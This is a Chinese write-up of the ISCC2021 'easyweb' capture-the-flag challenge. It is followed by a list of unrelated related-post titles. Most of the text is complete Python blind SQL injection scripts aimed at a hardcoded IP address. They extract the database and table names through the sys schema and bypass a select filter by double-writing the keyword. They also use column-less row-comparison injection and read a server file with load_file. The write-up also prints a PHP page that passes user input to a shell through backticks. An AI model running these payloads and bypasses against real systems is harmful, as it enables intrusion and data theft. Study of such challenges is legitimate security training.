iscc2021 easyweb

考点:无列名sql盲注

payload:

import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "1'and!!!!if(ascii(substr(database(),{},1))>{},1,0)%23".format(i,mid)#iscc_web#payload = "1'and!!!!if(ascii(substr(version(),{},1))>{},1,0)%23".format(i,mid)   5.7.33-0ubuntu0.16.04.1r = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)

但是发现过滤了or,所以无法使用information_schema数据库来爆破库、表、列、数据了,查看版本,5.7.33,存在sys数据库

所以可以利用sys数据库查出表名,这里很坑的就是它把select过滤了,但是他不告诉你,回显不是die,而是正常返回值,需要使用双写绕过seselectlect

import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "0%27||if(ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.schema_table_statistics_with_buffer%0dwhere%0dtable_schema=database()),{},1))>{},1,0)%23".format(i,mid)#easyweb,iscc_flagr = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)

然后就是无列名盲注了

我想用0%27||if(ascii(substr((seselectlect*from%0d(seselectlect%0d*%0dfrom%0discc_flag%0das%0da%0djoin%0discc_flag%0db)c),1,1))>1,1,0)%23注入,但是发现好像不行,

无列名盲注如下:

核心payload如下

id="1'and((select 1,{})>(select * from(iscc_flag)))%23".format(hexchar)

假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,

在这样的按位比较过程中,因为在里层的 for() 循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b 的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,这个时候就需要记录flag的值了,但是此时这一位的charc,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因,payload如下:

import requests
url = 'http://39.96.91.106:5001/?id='def trans(flag):res = ''for i in flag:res += hex(ord(i))res = '0x' + res.replace('0x','')return resflag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完hexchar = ''for char in range(32, 126):hexchar = trans(flag+ chr(char))payload = "0'||((seselectlect%0d1,{})>(seselectlect%0d*%0dfrom%0discc_flag))%23".format(hexchar)r = requests.get(url+payload)text = r.textif 'Your Login name' in r.text:flag += chr(char-1)print(flag)break

hex() 操作,这是因为 MySQL 遇到 hex 会自动转成字符串

得到CCCMD.PHP

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");}else{echo `$c`;}
}else{highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->

这里发现好像不能执行命令,但是我们SQL语句也可以使用load_file读取文件内容,试一试,没被过滤

执行pwd命令,得到当前路径/var/www/const

脚本如下:

import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)r = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)

得到:

3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E

16进制解密,得到:

<?php
$flag="iscc{eeeeeasy_web!!666666}";
?>

iscc2021 easyweb相关推荐

  1. ISCC2021 美人计

    一张图,一个文档 图片进入winhex 是AES,秘钥是 ISCC2021 文档里面的二维码扫描 U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZs ...

  2. CTF训练计划—[CISCN2019]Easyweb

    前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...

  3. ISCC2021——web部分

    练武 ISCC客服冲冲冲(一) 该题目需要左边的客服票数高于右边的 我会的就两种方法,毕竟是废物嘛,允许 1. 把左右按钮换一下 然后就 2.在控制台输入 回车,走你 你涨啊,涨啊,接着涨啊-没吃饭吗 ...

  4. ISCC2021 Web WP

    目录 练武 ISCC客服冲冲冲(一) 这是啥 正则匹配最后的倔强. 登录 which is the true iscc ISCC客服一号冲冲冲(二) lovely ssti 擂台 tornado ea ...

  5. Easyweb包括iframe中的页面跳转

    文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...

  6. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  7. ISCC2021个人挑战赛和擂台赛部分writeup

    文章目录 pwn M78 game box 碰碰碰 RE garden Analysis Ron's Code 汇编大人,时代变了 mob Mobile Easy Mobile Normal MISC ...

  8. ✿ISCC2021✿题目以及部分wp

    文章目录 ISCC 部分web.杂项wp WEB ISCC客服一号冲冲冲(一) 这是啥 Web01 ISCC客服一号冲冲冲(二) 登录 misc 李华的红包 Retrieve_the_passcode ...

  9. ISCC2021 MISC wp

    ISCC2021 MISC wp 文章目录 ISCC2021 MISC wp 练武题 0x00 Retrieve the passcode 0x01 海市蜃楼-1 0x02 李华的红包 0x03 美人 ...

  10. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

最新文章

  1. sm4加密 解密(oc)
  2. Spring 3整合Quartz 2实现定时任务--转
  3. .net core 中通过 PostConfigure 验证 Options 参数
  4. 子模板继承父模板示例_模板设计模式示例
  5. linux下kill某个应用
  6. 熊猫的python小课账号_学习python中的pandas有没有好的教程推荐?
  7. Redhat 5.4 安装vsftp
  8. 校园信息发布平台网站源码
  9. Unity接入海康威视门禁(获取门禁状态信息、门禁反控等)
  10. PCM音频压缩A-Law算法,uLaw
  11. 巴塞尔iii_巴塞尔协议——银行风控实施的超级系统工程 之二
  12. 华电研究生学习和工作总结(2021.11.08-2021.11.12)-围城
  13. 霓虹灯仍然肆无忌惮的绽放着它的妖艳
  14. 联想小新增加固态硬盘后安装不了系统_固态硬盘装双系统不成功,装第二个系统时提示 windows没法完成安装,安装将在重启计算机后继续。...
  15. phpsocket客户端以及服务器例子
  16. vue-pdf使用+分页预览(踩坑 + 使用本地字体库)
  17. 字符串乘以数字python_将字符串乘以数字!
  18. 如何通过浏览器访问家里电脑
  19. 微信玩转开发板-微信控制智能家居简易模型
  20. 如何酷酷的找回迅雷私人空间的密码

热门文章

  1. ogg格式怎样才能转换成MP3格式
  2. 硬核教程 - 使用Rust编写网游FPS外挂辅助
  3. gan怎么输入一维数据_GAN网络,利用gan网络完成对一维数据点的生成
  4. 6-5 统计二叉树叶子结点个数 (10 分)(C语言版)
  5. NI Teststand 2014 64bit 调用python脚本指南
  6. 现代科技概论_现代科技概论课程:科学技术史2
  7. Linux常用编程工具
  8. win10 系统字体大小修改
  9. html5打印样式没有加载,cad打印样式不见了(cad没有打印样式表)
  10. 电力系统建模与仿真, 地理接线图,配电图,电力系统组态与监控,电力调度,自动控制,VBScript脚本控制,JavaScript脚本控制, 潮流分析2018...